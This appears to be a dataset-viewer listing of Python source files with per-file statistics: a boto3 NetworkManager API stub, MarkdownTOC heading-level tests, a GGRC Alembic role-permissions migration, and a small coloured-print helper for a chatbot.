'LinkArn': 'string',
'GlobalNetworkId': 'string',
'SiteId': 'string',
'Description': 'string',
'Type': 'string',
'Bandwidth': {
'UploadSpeed': 123,
'DownloadSpeed': 123
},
'Provider': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
Response Structure
(dict) --
Link (dict) --
Information about the link.
LinkId (string) --
The ID of the link.
LinkArn (string) --
The Amazon Resource Name (ARN) of the link.
GlobalNetworkId (string) --
The ID of the global network.
SiteId (string) --
The ID of the site.
Description (string) --
The description of the link.
Type (string) --
The type of the link.
Bandwidth (dict) --
The bandwidth for the link.
UploadSpeed (integer) --
Upload speed in Mbps.
DownloadSpeed (integer) --
Download speed in Mbps.
Provider (string) --
The provider of the link.
CreatedAt (datetime) --
The date and time that the link was created.
State (string) --
The state of the link.
Tags (list) --
The tags for the link.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'Link': {
'LinkId': 'string',
'LinkArn': 'string',
'GlobalNetworkId': 'string',
'SiteId': 'string',
'Description': 'string',
'Type': 'string',
'Bandwidth': {
'UploadSpeed': 123,
'DownloadSpeed': 123
},
'Provider': 'string',
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.ServiceQuotaExceededException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
def update_site(GlobalNetworkId=None, SiteId=None, Description=None, Location=None):
"""
Updates the information for an existing site. To remove information for any of the parameters, specify an empty string.
See also: AWS API Documentation
Exceptions
:example: response = client.update_site(
GlobalNetworkId='string',
SiteId='string',
Description='string',
Location={
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
}
)
:type GlobalNetworkId: string
:param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n
:type SiteId: string
:param SiteId: [REQUIRED]\nThe ID of your site.\n
:type Description: string
:param Description: A description of your site.\nLength Constraints: Maximum length of 256 characters.\n
:type Location: dict
:param Location: The site location:\n\nAddress : The physical address of the site.\nLatitude : The latitude of the site.\nLongitude : The longitude of the site.\n\n\nAddress (string) --The physical address.\n\nLatitude (string) --The latitude.\n\nLongitude (string) --The longitude.\n\n\n
:rtype: dict
ReturnsResponse Syntax
{
'Site': {
'SiteId': 'string',
'SiteArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
Response Structure
(dict) --
Site (dict) --
Information about the site.
SiteId (string) --
The ID of the site.
SiteArn (string) --
The Amazon Resource Name (ARN) of the site.
GlobalNetworkId (string) --
The ID of the global network.
Description (string) --
The description of the site.
Location (dict) --
The location of the site.
Address (string) --
The physical address.
Latitude (string) --
The latitude.
Longitude (string) --
The longitude.
CreatedAt (datetime) --
The date and time that the site was created.
State (string) --
The state of the site.
Tags (list) --
The tags for the site.
(dict) --
Describes a tag.
Key (string) --
The tag key.
Length Constraints: Maximum length of 128 characters.
Value (string) --
The tag value.
Length Constraints: Maximum length of 256 characters.
Exceptions
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
:return: {
'Site': {
'SiteId': 'string',
'SiteArn': 'string',
'GlobalNetworkId': 'string',
'Description': 'string',
'Location': {
'Address': 'string',
'Latitude': 'string',
'Longitude': 'string'
},
'CreatedAt': datetime(2015, 1, 1),
'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING',
'Tags': [
{
'Key': 'string',
'Value': 'string'
},
]
}
}
:returns:
NetworkManager.Client.exceptions.ValidationException
NetworkManager.Client.exceptions.AccessDeniedException
NetworkManager.Client.exceptions.ResourceNotFoundException
NetworkManager.Client.exceptions.ConflictException
NetworkManager.Client.exceptions.ThrottlingException
NetworkManager.Client.exceptions.InternalServerException
"""
pass
| 24.065428
| 456
| 0.645199
| 9,091
| 94,529
| 6.696733
| 0.04257
| 0.102497
| 0.153745
| 0.026478
| 0.907145
| 0.886367
| 0.876873
| 0.86958
| 0.86503
| 0.858328
| 0
| 0.006852
| 0.252748
| 94,529
| 3,927
| 457
| 24.071556
| 0.855019
| 0.961832
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0.5
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 9
|
1b080b7ffb3debbb62a7928a359a0041257bdcce
| 4,183
|
py
|
Python
|
tests/levels.py
|
TheSecEng/MarkdownTOC
|
7c69137249820dc586fd90b58fca2f34c54f2abc
|
[
"MIT"
] | null | null | null |
tests/levels.py
|
TheSecEng/MarkdownTOC
|
7c69137249820dc586fd90b58fca2f34c54f2abc
|
[
"MIT"
] | 1
|
2020-05-24T11:44:49.000Z
|
2020-05-24T11:44:49.000Z
|
tests/levels.py
|
TheSecEng/MarkdownTOC
|
7c69137249820dc586fd90b58fca2f34c54f2abc
|
[
"MIT"
] | null | null | null |
# coding:utf-8
from base import TestBase
class TestLevels(TestBase):
'''Test for attributes \'levels\''''
# for debug
# def tearDown(self):
# pass
text_1 = \
'''
<!-- MarkdownTOC {0} -->
<!-- /MarkdownTOC -->
# heading 1
## heading 2
### heading 3
#### heading 4
##### heading 5
###### heading 6
'''
# TODO: test warning if depth is exists in settings
def appear_all_headings(self, toc):
self.assert_In('- heading 1', toc)
self.assert_In('- heading 2', toc)
self.assert_In('- heading 3', toc)
self.assert_In('- heading 4', toc)
self.assert_In('- heading 5', toc)
self.assert_In('- heading 6', toc)
def test_levels_default(self):
'''Default is no limit'''
toc = self.init_update(self.text_1.format(''))['toc']
self.appear_all_headings(toc)
def test_levels_1(self):
'''levels="1" shows h1 '''
toc = self.init_update(self.text_1.format('levels="1"'))['toc']
self.assert_In('- heading 1', toc)
self.assert_NotIn('- heading 2', toc)
self.assert_NotIn('- heading 3', toc)
self.assert_NotIn('- heading 4', toc)
self.assert_NotIn('- heading 5', toc)
self.assert_NotIn('- heading 6', toc)
def test_levels_1_2(self):
'''levels="1,2" shows h1,h2 '''
toc = self.init_update(self.text_1.format('levels="1,2"'))['toc']
self.assert_In('- heading 1', toc)
self.assert_In('- heading 2', toc)
self.assert_NotIn('- heading 3', toc)
self.assert_NotIn('- heading 4', toc)
self.assert_NotIn('- heading 5', toc)
self.assert_NotIn('- heading 6', toc)
def test_levels_1_2_3(self):
'''levels="1,2,3" shows h1,h2,h3 '''
toc = self.init_update(self.text_1.format('levels="1,2,3"'))['toc']
self.assert_In('- heading 1', toc)
self.assert_In('- heading 2', toc)
self.assert_In('- heading 3', toc)
self.assert_NotIn('- heading 4', toc)
self.assert_NotIn('- heading 5', toc)
self.assert_NotIn('- heading 6', toc)
def test_levels_1_2_3_4(self):
'''levels="1,2,3,4" shows h1,h2,h3,h4 '''
toc = self.init_update(self.text_1.format('levels="1,2,3,4"'))['toc']
self.assert_In('- heading 1', toc)
self.assert_In('- heading 2', toc)
self.assert_In('- heading 3', toc)
self.assert_In('- heading 4', toc)
self.assert_NotIn('- heading 5', toc)
self.assert_NotIn('- heading 6', toc)
def test_levels_1_2_3_4_5(self):
'''levels="1,2,3,4,5" shows h1,h2,h3,h4,h5 '''
toc = self.init_update(self.text_1.format('levels="1,2,3,4,5"'))['toc']
self.assert_In('- heading 1', toc)
self.assert_In('- heading 2', toc)
self.assert_In('- heading 3', toc)
self.assert_In('- heading 4', toc)
self.assert_In('- heading 5', toc)
self.assert_NotIn('- heading 6', toc)
def test_levels_1_2_3_4_5_6(self):
'''levels="1,2,3,4,5" shows h1,h2,h3,h4,h5 '''
toc = self.init_update(self.text_1.format('levels="1,2,3,4,5,6"'))['toc']
self.appear_all_headings(toc)
text_2 = \
'''
<!-- MarkdownTOC {0} -->
<!-- /MarkdownTOC -->
### heading 3
#### heading 4
# heading 1
## heading 2
##### heading 5
###### heading 6
'''
def test_levels_specific_level(self):
'''Default is no limit'''
toc = self.init_update(self.text_2.format('levels="3"'))['toc']
self.assert_In('- heading 3', toc)
self.assert_NotIn('- heading 4', toc)
self.assert_NotIn('- heading 1', toc)
self.assert_NotIn('- heading 2', toc)
self.assert_NotIn('- heading 5', toc)
self.assert_NotIn('- heading 6', toc)
def test_levels_specific_levels(self):
'''Default is no limit'''
toc = self.init_update(self.text_2.format('levels="2,4,6"'))['toc']
self.assert_NotIn('- heading 3', toc)
self.assert_In('- heading 4', toc)
self.assert_NotIn('- heading 1', toc)
self.assert_In('- heading 2', toc)
self.assert_NotIn('- heading 5', toc)
self.assert_In('- heading 6', toc)
| 32.679688
| 81
| 0.579488
| 607
| 4,183
| 3.813839
| 0.092257
| 0.178402
| 0.269546
| 0.161987
| 0.851836
| 0.800864
| 0.765443
| 0.764579
| 0.761555
| 0.736069
| 0
| 0.050314
| 0.23978
| 4,183
| 128
| 82
| 32.679688
| 0.677673
| 0.092517
| 0
| 0.675676
| 0
| 0
| 0.193745
| 0
| 0
| 0
| 0
| 0.007813
| 0.648649
| 1
| 0.135135
| false
| 0
| 0.013514
| 0
| 0.189189
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
1b6ed2955995aa6197fa50415dfac462602a26cc
| 16,501
|
py
|
Python
|
src/ggrc_basic_permissions/migrations/versions/20131218225818_3e08ed6b47b8_prograreader_and_pro.py
|
Smotko/ggrc-core
|
b3abb58b24e7559960d71a94ba79c75539e7fe29
|
[
"Apache-2.0"
] | null | null | null |
src/ggrc_basic_permissions/migrations/versions/20131218225818_3e08ed6b47b8_prograreader_and_pro.py
|
Smotko/ggrc-core
|
b3abb58b24e7559960d71a94ba79c75539e7fe29
|
[
"Apache-2.0"
] | 12
|
2015-01-08T14:50:19.000Z
|
2017-11-29T19:37:53.000Z
|
src/ggrc_basic_permissions/migrations/versions/20131218225818_3e08ed6b47b8_prograreader_and_pro.py
|
mikecb/ggrc-core
|
1cda560cb0920021416e07740c6cca1acba56268
|
[
"ECL-2.0",
"Apache-2.0"
] | 1
|
2015-01-08T13:25:09.000Z
|
2015-01-08T13:25:09.000Z
|
# Copyright (C) 2015 Google Inc., authors, and contributors <see AUTHORS file>
# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>
# Created By: anze@reciprocitylabs.com
# Maintained By: anze@reciprocitylabs.com
"""PrograReader and ProgramEditor need to be able to read UserRole resources.
Revision ID: 3e08ed6b47b8
Revises: 2785a204a673
Create Date: 2013-12-18 22:58:18.613406
"""
# revision identifiers, used by Alembic.
revision = '3e08ed6b47b8'
down_revision = '2785a204a673'
import sqlalchemy as sa
from alembic import op
from datetime import datetime
from sqlalchemy.sql import table, column, select
import json
roles_table = table('roles',
column('id', sa.Integer),
column('name', sa.String),
column('permissions_json', sa.String),
column('description', sa.Text),
column('modified_by_id', sa.Integer),
column('created_at', sa.DateTime),
column('updated_at', sa.DateTime),
column('context_id', sa.Integer),
column('scope', sa.String),
)
def get_role_permissions(role):
connection = op.get_bind()
role = connection.execute(
select([roles_table.c.permissions_json])\
.where(roles_table.c.name == role)).fetchone()
return json.loads(role.permissions_json)
def update_role_permissions(role, permissions):
op.execute(roles_table\
.update()\
.values(permissions_json = json.dumps(permissions))\
.where(roles_table.c.name == role))
def upgrade():
update_role_permissions('ProgramReader', {
"read": [
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Program",
"ProgramControl",
"ProgramDirective",
"Relationship",
"ObjectFolder",
"UserRole",
],
"create": [],
"view_object_page": [
"__GGRC_ALL__"
],
"update": [],
"delete": []
})
update_role_permissions('ProgramEditor', {
"read": [
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Program",
"ProgramControl",
"ProgramDirective",
"Relationship",
"ObjectFolder",
"UserRole",
],
"create": [
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"ProgramControl",
"ProgramDirective",
"Relationship",
"ObjectFolder"
],
"view_object_page": [
"__GGRC_ALL__"
],
"update": [
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Program",
"ProgramControl",
"ProgramDirective",
"Relationship"
],
"delete": [
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"ProgramControl",
"ProgramDirective",
"Relationship",
"ObjectFolder"
]
})
update_role_permissions('ProgramAuditOwner', {
"read": [
"Request",
"DocumentationResponse",
"InterviewResponse",
"PopulationSampleResponse",
"UserRole",
"Audit",
"ObjectFolder",
"Meeting",
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting"
],
"create": [
"Request",
"DocumentationResponse",
"InterviewResponse",
"PopulationSampleResponse",
"UserRole",
"Audit",
"ObjectFolder",
"Meeting",
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting",
"Response",
],
"view_object_page": [
"__GGRC_ALL__"
],
"update": [
"Request",
"DocumentationResponse",
"InterviewResponse",
"PopulationSampleResponse",
"Audit",
"Meeting",
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting"
],
"delete": [
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting"
]
})
update_role_permissions('ProgramAuditEditor', {
"read": [
"Request",
"DocumentationResponse",
"InterviewResponse",
"PopulationSampleResponse",
"Audit",
"ObjectFolder",
"Meeting",
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting"
],
"create": [
"Request",
"DocumentationResponse",
"InterviewResponse",
"PopulationSampleResponse",
"ObjectFolder",
"Meeting",
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting",
"Response",
],
"view_object_page": [
"__GGRC_ALL__"
],
"update": [
"Request",
"DocumentationResponse",
"InterviewResponse",
"PopulationSampleResponse",
"Audit",
"Meeting",
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting"
],
"delete": [
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting"
]
})
def downgrade():
update_role_permissions('ProgramReader', {
"read": [
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Program",
"ProgramControl",
"ProgramDirective",
"Relationship",
"ObjectFolder"
],
"create": [],
"view_object_page": [
"__GGRC_ALL__"
],
"update": [],
"delete": []
})
update_role_permissions('ProgramEditor', {
"read": [
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Program",
"ProgramControl",
"ProgramDirective",
"Relationship",
"ObjectFolder"
],
"create": [
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"ProgramControl",
"ProgramDirective",
"Relationship",
"ObjectFolder"
],
"view_object_page": [
"__GGRC_ALL__"
],
"update": [
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Program",
"ProgramControl",
"ProgramDirective",
"Relationship"
],
"delete": [
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"ProgramControl",
"ProgramDirective",
"Relationship",
"ObjectFolder"
]
})
update_role_permissions('ProgramAuditOwner', {
"read": [
"Request",
"DocumentationResponse",
"InterviewResponse",
"PopulationSampleResponse",
"UserRole",
"Audit",
"ObjectFolder",
"Meeting",
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting"
],
"create": [
"Request",
"DocumentationResponse",
"InterviewResponse",
"PopulationSampleResponse",
"UserRole",
"Audit",
"ObjectFolder",
"Meeting",
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting"
],
"view_object_page": [
"__GGRC_ALL__"
],
"update": [
"Request",
"DocumentationResponse",
"InterviewResponse",
"PopulationSampleResponse",
"Audit",
"Meeting",
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting"
],
"delete": [
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting"
]
})
update_role_permissions('ProgramAuditEditor', {
"read": [
"Request",
"DocumentationResponse",
"InterviewResponse",
"PopulationSampleResponse",
"Audit",
"ObjectFolder",
"Meeting",
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting"
],
"create": [
"Request",
"DocumentationResponse",
"InterviewResponse",
"PopulationSampleResponse",
"ObjectFolder",
"Meeting",
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting"
],
"view_object_page": [
"__GGRC_ALL__"
],
"update": [
"Request",
"DocumentationResponse",
"InterviewResponse",
"PopulationSampleResponse",
"Audit",
"Meeting",
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting"
],
"delete": [
"ObjectControl",
"ObjectDocument",
"ObjectObjective",
"ObjectPerson",
"ObjectSection",
"Relationship",
"Document",
"Meeting"
]
})
| 36.750557
| 78
| 0.333313
| 596
| 16,501
| 9.073826
| 0.197987
| 0.139423
| 0.197115
| 0.259615
| 0.814719
| 0.814719
| 0.805843
| 0.805843
| 0.805843
| 0.805843
| 0
| 0.00874
| 0.583965
| 16,501
| 448
| 79
| 36.832589
| 0.779024
| 0.026301
| 0
| 0.913349
| 0
| 0
| 0.27138
| 0.033634
| 0
| 0
| 0
| 0
| 0
| 1
| 0.009368
| false
| 0
| 0.01171
| 0
| 0.023419
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
1ba5b1fd9802b6dce0d40f24770b332be7af364c
| 863
|
py
|
Python
|
InfoUp.py
|
AshbornXS/Iota
|
ddf9da616d6210a93c0c1eb737c00fb9f4edba36
|
[
"Apache-2.0"
] | 2
|
2022-03-05T13:05:42.000Z
|
2022-03-07T19:13:36.000Z
|
InfoUp.py
|
RED-ALISON/Vlkyre
|
03e2d7b1e00917e109dd6dfe44fee936b3d22ee2
|
[
"Apache-2.0"
] | null | null | null |
InfoUp.py
|
RED-ALISON/Vlkyre
|
03e2d7b1e00917e109dd6dfe44fee936b3d22ee2
|
[
"Apache-2.0"
] | 1
|
2022-03-07T19:14:20.000Z
|
2022-03-07T19:14:20.000Z
|
# |โฌกโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ|โ โธ๐๐ฅ๐ค๐ฒ๐ซ๐ โ แดแดแดกแดสแดแด
สส แดสแดแดษชษดแดขสแดสโข โ|โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌก|
# (๐)๐๐ฅ๐ค๐ฒ๐ซ๐ ๐ข๐ฌ ๐ ๐๐ก๐๐ญ๐ฌ๐๐ฉ๐ฉ ๐๐ฎ๐ฅ๐ญ๐ข๐๐ฎ๐ซ๐ฉ๐จ๐ฌ๐-๐๐ฌ๐๐ซ๐๐จ๐ญ ๐ฐ๐ข๐ญ๐ก ๐๐จ๐๐๐ซ๐๐ญ๐ข๐จ๐ง,๐๐ฎ๐ญ๐จ๐ฆ๐๐ญ๐ข๐จ๐ง ๐๐ง๐ ๐๐๐+ ๐ฆ๐จ๐ซ๐ ๐๐จ๐ฆ๐ฆ๐๐ง๐๐ฌ!
# |โฌกโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ|โ โธ๐๐ฅ๐ค๐ฒ๐ซ๐ โ แดแดแดกแดสแดแด
สส แดสแดแดษชษดแดขสแดสโข โ|โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌก|
from termcolor import *
def my_func(cname , cdesc):
cprint(f"โก๐๐จ๐ฆ๐ฆ๐๐ง๐: {cname}\n๐ด๐๐๐ฌ๐๐ซ๐ข๐ฉ๐ญ๐ข๐จ๐ง: {cdesc}", "green")
# |โฌกโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ|โ โธ๐๐ฅ๐ค๐ฒ๐ซ๐ โ แดแดแดกแดสแดแด
สส แดสแดแดษชษดแดขสแดสโข โ|โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌก|
# (๐)๐๐ฅ๐ค๐ฒ๐ซ๐ ๐ข๐ฌ ๐ ๐๐ก๐๐ญ๐ฌ๐๐ฉ๐ฉ ๐๐ฎ๐ฅ๐ญ๐ข๐๐ฎ๐ซ๐ฉ๐จ๐ฌ๐-๐๐ฌ๐๐ซ๐๐จ๐ญ ๐ฐ๐ข๐ญ๐ก ๐๐จ๐๐๐ซ๐๐ญ๐ข๐จ๐ง,๐๐ฎ๐ญ๐จ๐ฆ๐๐ญ๐ข๐จ๐ง ๐๐ง๐ ๐๐๐+ ๐ฆ๐จ๐ซ๐ ๐๐จ๐ฆ๐ฆ๐๐ง๐๐ฌ!
# |โฌกโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ|โ โธ๐๐ฅ๐ค๐ฒ๐ซ๐ โ แดแดแดกแดสแดแด
สส แดสแดแดษชษดแดขสแดสโข โ|โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌก|
| 95.888889
| 132
| 0.391657
| 82
| 863
| 8.768293
| 0.47561
| 0.255911
| 0.294854
| 0.300417
| 0.887344
| 0.887344
| 0.887344
| 0.887344
| 0.887344
| 0.887344
| 0
| 0.007802
| 0.108922
| 863
| 9
| 133
| 95.888889
| 0.430429
| 0.853998
| 0
| 0
| 0
| 0
| 0.375
| 0.183333
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 0.666667
| 0.333333
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 15
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.